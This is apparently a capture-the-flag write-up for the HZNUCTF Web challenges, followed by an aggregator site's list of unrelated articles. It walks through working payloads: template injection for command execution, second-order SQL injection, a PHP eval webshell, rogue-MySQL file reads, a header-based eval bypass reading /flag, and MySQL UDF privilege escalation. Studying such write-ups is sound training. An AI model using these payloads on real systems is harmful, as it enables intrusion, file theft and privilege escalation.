HZNUCTF第五届校赛实践赛初赛 Web方向 WriteUp

ezssti

很简单的ssti

源码给了,调用Eval即可执行命令

package mainimport ("fmt""net/http""os/exec""strings""text/template"
)type User struct {Id     intName   stringPasswd string
}func (u User) Eval(command string) string {out, _ := exec.Command(command).CombinedOutput()return string(out)
}func Login(w http.ResponseWriter, r *http.Request) {r.ParseForm()username := strings.Join(r.PostForm["name"], "")password := strings.Join(r.PostForm["passwd"], "")user := &User{1, username, password}tpl1 := fmt.Sprintf(`<h1>Hi, ` + username + `</h1> This is SSTI, please post your name and password`)html, err := template.New("login").Parse(tpl1)html = template.Must(html, err)html.Execute(w, user)
}func main() {server := http.Server{Addr: "0.0.0.0:8080",}fmt.Print("Server is running on 0.0.0.0:8080")http.HandleFunc("/login", Login)server.ListenAndServe()
}
POST /login HTTP/1.1
Host: 10.244.0.254:28003
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 20name={{.Eval "env"}}

sql2login

SQL注入之二次注入。sqlilabs 24 关(中间)也是这个考点。考验刷sqlilabs的题量。

Hint1:看看index中的图,最下面有东西。

Hint2:sqlilabs第2x关。

Hint3:

"UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

运行部署:(cd进源码目录,会映射到9028端口)

docker-compose build && docker-compose up -d快速构建:
docker build -t sql2login . && docker run -d --name=sql2login -p 9028:80 --rm sql2login快速重启:
docker stop sql2login && docker rmi sql2login && docker build -t sql2login . && docker run -d --name=sql2login -p 9028:80 --rm sql2login

WP:

开局一张图。

image-20240410062721081

这个故事告诉我们,要少看瑟图,眼睛不要盯着不该看的地方,要不然就会使得我们获得hint。

image-20240410062835820

是个二次注入,title就是hint。

image-20240410062928058

题中我们的步骤是:

1、注册一个 admin'#的账号,密码是123123

注册用户时,数据库内添加数据语句:(login_create.php)
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
所以数据库内添加了一条数据,账号是 admin’#,密码是123123

image-20240410174104504

2、接下来登录该帐号后进行修改密码,修改为111111

修改密码时,数据库内更新数据语句:(pass_change.php)
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

带入数据就是:
$sql = "UPDATE users SET PASSWORD='111111' where username='admin' #' and password='admin原来的密码' ";

单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。此时修改的就是 admin 的密码。

image-20240410174129783

image-20240410174150830

image-20240410174159685

真亦假,假亦真(HZNU版)

题目描述:开开心心签个到吧,祝各位师傅们好运~

Jay17ashjdaskdhasadasdadsadssdasdadsasdasdasdasdxcvnxkjcvnxjcsdhkjashdjkadjk.php

<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);//签到题,直接送大家shell了,做好事不留名,我叫Jay17//标准一句话mua~
eval($_POST[1]);
?>

index.php

<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file('Jay17ashjdaskdhasadasdadsadssdasdadsasdasdasdasdxcvnxkjcvnxjcsdhkjashdjkadjk.php');//以代码输出代替命令执行结果,让选手误以为成功利用了一句话木马,但是一直得不到正确的flag。
//比如选手传参ls /,返回事先准备好的想让选手看见的根目录内容,选手传参cat /flag返回ISCTF{fake_flag}
//破局方法很简单,选手只需要ls和cat index.php亲自查看源码内容即可。
//不是什么难题,偏脑洞和趣味性,以及有时候眼睛看到的不一定是真的哈哈哈哈。if (isset($_POST['1']) && (strpos($_POST['1'], 'flag') !== false || strpos($_POST['1'], 'f*') !== false || strpos($_POST['1'], 'fl*') !== false || strpos($_POST['1'], 'fla*') !== false || (strpos($_POST['1'], 'f') !== false  &&  strpos($_POST['1'], '?') !== false) ) ){echo 'HZNU{this_is_real_flag}';
} elseif( isset($_POST['1'])  &&  strpos($_POST['1'], 'ls') !== false &&  strpos($_POST['1'], 'ls ..') == false  &&  strpos($_POST['1'], 'ls /') == false  ){echo 'index.php';
}else{eval($_POST['1']);
}eval($_POST['ljtn']);
?>

运行部署:(cd进源码目录,会映射到9024端口)

快速构建:
docker build -t hstof . && docker run -d --name=hstof -e FLAG=HZNUCTF{test_flag} -p 9032:80 --rm hstof快速重启:
docker stop hstof && docker rmi hstof && docker build -t hstof . && docker run -d --name=hstof -e FLAG=HZNUCTF{test_flag} -p 9032:80 --rm hstof

WP:(有时候眼睛看见的不一定是真的,只是别人想让你看到的罢了)

能成功骗过蚂蚁剑,就是根目录下看不见/flag

image-20240411184822028

这局,但凡你不相信我一次,读一下index.php就能赢

1=cat /index.php
ljtn=cat /flag

ezsql

利用LOAD DATA LOCAL INFILE来读取文件,

可以使用自己的mysql或者使用Rogue Mysql Server。

读取数据库用户名密码,然后访问

POST /query.php HTTP/1.1
Host: 10.244.0.254:28002
Content-Length: 72
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.244.0.254:28004
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.244.0.254:28004/
Cookie: PHPSESSID=ezsql
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closehost=127.0.0.1&username=root&password=asd222%21%21%40332asc&dbname=mysql

利用load_file函数读取文件

POST /query.php HTTP/1.1
Host: 10.244.0.254:28002
Content-Length: 32
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.244.0.254:28004
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.244.0.254:28004/query.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ezsql
Connection: closesql=select+load_file('/flag')%3b

suid

开局查看注释提示

<?php
highlight_file(__FILE__);
// var_dump($_POST);
if (isset($_POST["s_1.1"])) {echo "level 1"."<br>";if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_POST['cmd'])) {if (!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i', $_POST['cmd'])) {echo 'success!'.'<br>';eval($_POST['cmd']);}}
} else {echo "nonono 1";
}
nonono 1

需要传参给s_1.1则s[1.1=1即可,然后利用http headers来达到任意参数

POST /eval.php HTTP/1.1
Host: 10.244.0.254
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
A: bash -p -c "cat /flag"cmd=system(current(array_reverse(getallheaders())));&s[1.1=1

炼狱waf-S

本题思路利用subprocess.Popen来执行命令

payload:

{{[].__class__.__base__.__subclasses__()[351]('cat /proc/1/en*',shell=True,stdout=-1).communicate()[0].strip()}}

image-20240415131007885

非预期:

image-20240418144856228

image-20240418145022698

gogogo

首先来到第一关,很明显的伪随机数,不过要猜是第几个,种子推测是时间为种子

image-20240415131810987

本地测试代码,利用未来时间作为种子即可,然后对应时间提交。

package mainimport ("fmt""math/rand"
)func main() {rand.Seed(1713158260)// 生成一个随机数randomNumber1 := rand.Int()randomNumber2 := rand.Int()randomNumber3 := rand.Int()randomNumber4 := rand.Int()randomNumber5 := rand.Int()randomNumber6 := rand.Int()randomNumber7 := rand.Int() + randomNumber1 - randomNumber1 + randomNumber2 - randomNumber2 + randomNumber3 - randomNumber3 + randomNumber4 - randomNumber4 + randomNumber5 - randomNumber5 + randomNumber6 - randomNumber6// 输出生成的随机数fmt.Println("中奖号码为:", randomNumber1)fmt.Println("中奖号码为:", randomNumber2)fmt.Println("中奖号码为:", randomNumber3)fmt.Println("中奖号码为:", randomNumber4)fmt.Println("中奖号码为:", randomNumber5)fmt.Println("中奖号码为:", randomNumber6)fmt.Println("中奖号码为:", randomNumber7)//当前时间戳为:1712906207//中将号码为:5083385238485808331
}

image-20240415131937056

第二关,简单的整数溢出,是-20000-(int16)tax的自己测试就可以了

image-20240415140031891

第三关,CVE-2019-14809,这个漏洞是解析错误

image-20240415140953599

题目源码基本没有改,就是改了一个port,用:替代或者爆破。

payload:

http://root:P@ssw0rd!@[127.0.0.1]['Pwned!']:/flag.php

hardsql

首先利用LOAD DATA local来从mysql客户端读取文件上传到mysql伪造服务端。

读取源码,然后拿到数据库密码,然后直接连接数据库

这里可以使用自己配置过的mysql服务器,也可以使用开源项目的(Rogue mysql server)我用的是rmb122/rogue_mysql_server

image-20240401152241049

读取源码

image-20240401152559027

image-20240401152634921

<?php
session_start();
// 指定数据库连接信息
// MYSQL_USER: root
// MYSQL_PASSWORD: asd222!!@332asc
$status = 0;if (isset($_POST["host"])) {$host = $_POST["host"];$username = $_POST["username"];$password = $_POST["password"];$dbname = $_POST["dbname"];$status = 0;
} else {$host = $_SESSION["host"];$username = $_SESSION["username"];$password = $_SESSION["password"];$dbname = $_SESSION["dbname"];$status = 1;
}// 连接数据库
$conn = new mysqli($host, $username, $password, $dbname);// 检查连接
if ($conn->connect_error) {die("Connection failed: " . $conn->connect_error);
}// $conn->options(MYSQLI_OPT_LOCAL_INFILE, true);if ($status == 0) {$_SESSION["host"] = $_POST["host"];$_SESSION["username"] = $_POST["username"];$_SESSION["password"] = $_POST["password"];$_SESSION["dbname"] = $_POST["dbname"];}
?>
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Query</title>
</head><style>form {width: 600px;margin: 0 auto;}label {display: block;margin-bottom: 10px;}input,textarea {width: 100%;padding: 10px;border: 1px solid #ddd;border-radius: 4px;font-size: 20px;}#submit {background: #3498db;color: white;padding: 10px 20px;border: none;border-radius: 4px;cursor: pointer;}
</style><body><form method="post" action="query.php"><h2>Execute SQL</h2><label for="sql">SQL Statement:</label><input id="sql" name="sql"></input><input type="submit" id="submit" value="Submit"></form>
</body></html>
<?phpif (isset($_POST["sql"])) {$result = $conn->query($_POST["sql"]);// var_dump($result);if ($result->num_rows > 0) {echo "<table>";while ($row = $result->fetch_assoc()) {echo "<tr>";foreach ($row as $key => $val) {echo "<td>$key: $val</td>";}echo "</tr>";}echo "</table>";} else {if ($result == false) {echo "error: ". mysqli_error($conn);} elseecho "Query executed successfully.";}}
// 关闭连接
$conn->close();?>

然后连接数据库进行udf提权

查看安全权限、插件目录

image-20240401153729339

image-20240401153705220

16进制导出方法(windows):

select hex(load_file('C:\\lib_mysqludf_sys_32.dll')) into dumpfile 'C:\\lib_mysqludf_sys_32.txt';

上传到对应文件中:

SELECT 0x(SO或者dll文件16进制编码) into DUMPFILE "/usr/lib/mariadb/plugin/udf.so"

如果一次不行要记得先导入表中分两次导入即可

创建函数:

create function sys_eval returns string soname 'udf.so';

提权以后:

image-20240401154206341

image-20240401154232613

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/180.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python学习从0开始——项目一day01爬虫

Python学习从0开始——项目一day01爬虫 一、导入代码二、使用的核心库三、功能测试3.1初始代码3.2新建文件3.3代码调试 四、页面元素解析4.1网页4.2修改代码4.3子页面4.4修改代码 一、导入代码 在Inscode新建一个python类型的项目&#xff0c;然后打开终端&#xff0c;粘贴以下…

《七》布局QLayout类

QLayout简介 QLayout是由具体类 QBoxLayout、QGridLayout、QFormLayout 和 QStackedLayout继承的抽象基类。 对于 QLayout子类或 QMainWindow的用户&#xff0c;很少需要使用 QLayout 提供的基本功能&#xff0c;例如 setSizeConstraint() 或 setMenuBar()。Qt 布局系统提供了…

程序员购车指南

哈喽大家好&#xff0c;我是咸鱼。 爱车可以说是大部分男人的天性&#xff0c;而我对汽车的热情却远不及对手表的钟爱&#xff08;痴迷劳力士&#xff09;。以至于我的朋友掏出车钥匙指着上面的苹果树标志跟我介绍奔驰 AMG 系列的强劲性能和马力时&#xff0c;我只能尽量假装自…

【三维Dvhop定位】基于麻雀搜索算法的多通信半径和跳距加权的三维Dvhop定位算法【Matlab代码#81】

文章目录 【可更换其他算法&#xff0c;获取资源请见文章第6节&#xff1a;资源获取】1. Dvhop定位算法2. 麻雀搜索算法3. 多通信半径和跳距加权策略3.1 多通信半径策略3.2 跳距加权策略 4. 部分代码展示5. 仿真结果展示6. 资源获取 【可更换其他算法&#xff0c;获取资源请见文…

Oracle-TDE数据加密功能

1 Oracle TDE 1.1 TDE介绍 Oracle TDE是数据库层对存储的用户敏感数据进行的静态加密&#xff0c;加密数据满足主流的安全法规&#xff08;如 PCI DSS&#xff09;相关的加密要求&#xff0c;可以防止数据文件被其他非数据库读取方式访问的情况下(如通过工具直接打开读取数据文…

Java程序生成可执行的exe文件 详细图文教程

1.Java编辑器&#xff0c;如&#xff1a;idea、eclipse等&#xff0c;下载地址&#xff1a;IntelliJ IDEA: The Capable & Ergonomic Java IDE by JetBrainshttps://www.jetbrains.com/idea/2.exe4j&#xff0c;下载地址&#xff1a;ej-technologies - Java APM, Java Prof…

ansible-tower连接git实现简单执行playbook

前提&#xff1a;安装好ansible-tower和git&#xff0c;其中git存放ansible得剧本 其中git中得内容为&#xff1a; --- - name: yjxtesthosts: yinremote_user: rootgather_facts: noroles:- testroles/test/tasks/main.yml #文件内容 --- #- name: Perform Test Task # tas…

ant-design-vue Table+Form表单实现表格内置表单验证,可自定义验证规则,触发必填项

代码示例如下&#xff1a; <!-- --> <template><a-button type"primary" style"padding-left: 10px; padding-right: 10px" click"handleAddRow"><template #icon><plus-outlined /></template>新增</…

2024年大唐杯官网模拟题

单选(出题角度很奇怪&#xff0c;不用太纠结&#xff09; 5G NR系统中&#xff0c;基于SSB的NR同频测量在measconfig里最多可以配置&#xff08; &#xff09;个SMTC窗口。 A、3 B、4 C、1 D、2 答案&#xff1a;D 2个 只在官网找到了这张PPT 5G 中从BBU到AAU需要保证&#x…

Python分析之3 种空间插值方法

插值是一个非常常见的数学概念,不仅数据科学家使用它,而且各个领域的人们也使用它。然而,在处理地理空间数据时,插值变得更加复杂,因为您需要基于几个通常稀疏的观测值创建代表性网格。 在深入研究地理空间部分之前,让我们简要回顾一下线性插值。 为了演示的目的,我将使…

Spring Security详细学习第一篇

Spring Security 前言Spring Security入门编辑Spring Security底层原理UserDetailsService接口PasswordEncoder接口 认证登录校验密码加密存储退出登录 前言 本文是作者学习三更老师的Spring Security课程所记录的学习心得和笔记知识&#xff0c;希望能帮助到大家 Spring Sec…

使用Java调用音乐开放API,并进行播放

使用Java调用音乐开放API&#xff0c;并进行播放 背景描述 电脑没有下载音乐软件&#xff0c;使用网页播放又不太方便&#xff0c;所有就想着使用Java语言直接调用音乐开放API&#xff0c;然后进行播放音乐。 具体代码如下&#xff0c;包含了注释 package com.lowkey.comple…

吴恩达<用于LLM应用程序开发的LangChain> L1-Model_prompt_parser

问题预览/关键词 课程地址如何获取openAI的API Key如何根据日期设置不同模型?如何调用OpenAI的API?如何使用OpenAI的API&#xff1f;langchain如何抽象OpenAI的API接口&#xff1f;langchain如何创建提示词模板并查看模板内容&#xff1f;langchain如何使用提示词模板生成提…

Redis中的BigKey

Redis中的BigKey 文章目录 Redis中的BigKey什么是BigKey&#xff1f;BigKey的危害找到Bigkey删除BigKey优化BigKeyBigKey对持久化的影响对AOF日志的影响对AOF重写和RDB的影响 什么是BigKey&#xff1f; 大 key 并不是指 key 的值很大&#xff0c;而是 key 对应的 value 很大。…

2024华中杯A题完整1-3问py代码+完整思路16页+后续参考论文

A题太阳能路灯光伏板朝向问题 &#xff08;完整版资料文末获取&#xff09; 第1小问&#xff1a;计算每月15日的太阳直射强度和总能量 1. 理解太阳直射辐射和光伏板的关系**&#xff1a;光伏板接收太阳辐射并转化为电能&#xff0c;直射辐射对光伏板的效率影响最大。 2. 收集…

[Vision Board创客营]学习片上Flash移植FAL

文章目录 [Vision Board创客营]学习片上Flash移植FAL介绍环境搭建使用组件测试porbeerasewriteread 结语 [Vision Board创客营]学习片上Flash移植FAL 水平较菜&#xff0c;大佬轻喷。&#x1f630;&#x1f630;&#x1f630; 介绍 &#x1f680;&#x1f680;Vision-Board 开…

Leetcode算法训练日记 | day29

一、递增子序列 1.题目 Leetcode&#xff1a;第 491 题 给你一个整数数组 nums &#xff0c;找出并返回所有该数组中不同的递增子序列&#xff0c;递增子序列中 至少有两个元素 。你可以按 任意顺序 返回答案。 数组中可能含有重复元素&#xff0c;如出现两个整数相等&…

“低价竞争”仍在继续,分期免息成商家新武器

近日&#xff0c;在京东618商家生态伙伴大会上&#xff0c;京东推出各项政策&#xff0c;尽全力让所有合作伙伴赢在京东618、赢在京东。京东金融也将在618大促期间&#xff0c;为各位商家带来极具竞争力的金融产品和大促政策。 举例来说&#xff0c;大促期间&#xff0c;“京东…

基于SSM+Jsp+Mysql的文物管理系统

开发语言&#xff1a;Java框架&#xff1a;ssm技术&#xff1a;JSPJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包…

js高级 笔记02

目录 01 object提供的一些静态方法 02 词法作用域 03 作用域链 04 arguments的使用 05 开启严格模式 06 高阶函数 07 闭包 01 object提供的一些静态方法 Object.create() 对象继承 Object.assign(对象1,对象2) 对象合并 可以将对象2 里面的可枚举属性和自身的属性合并到…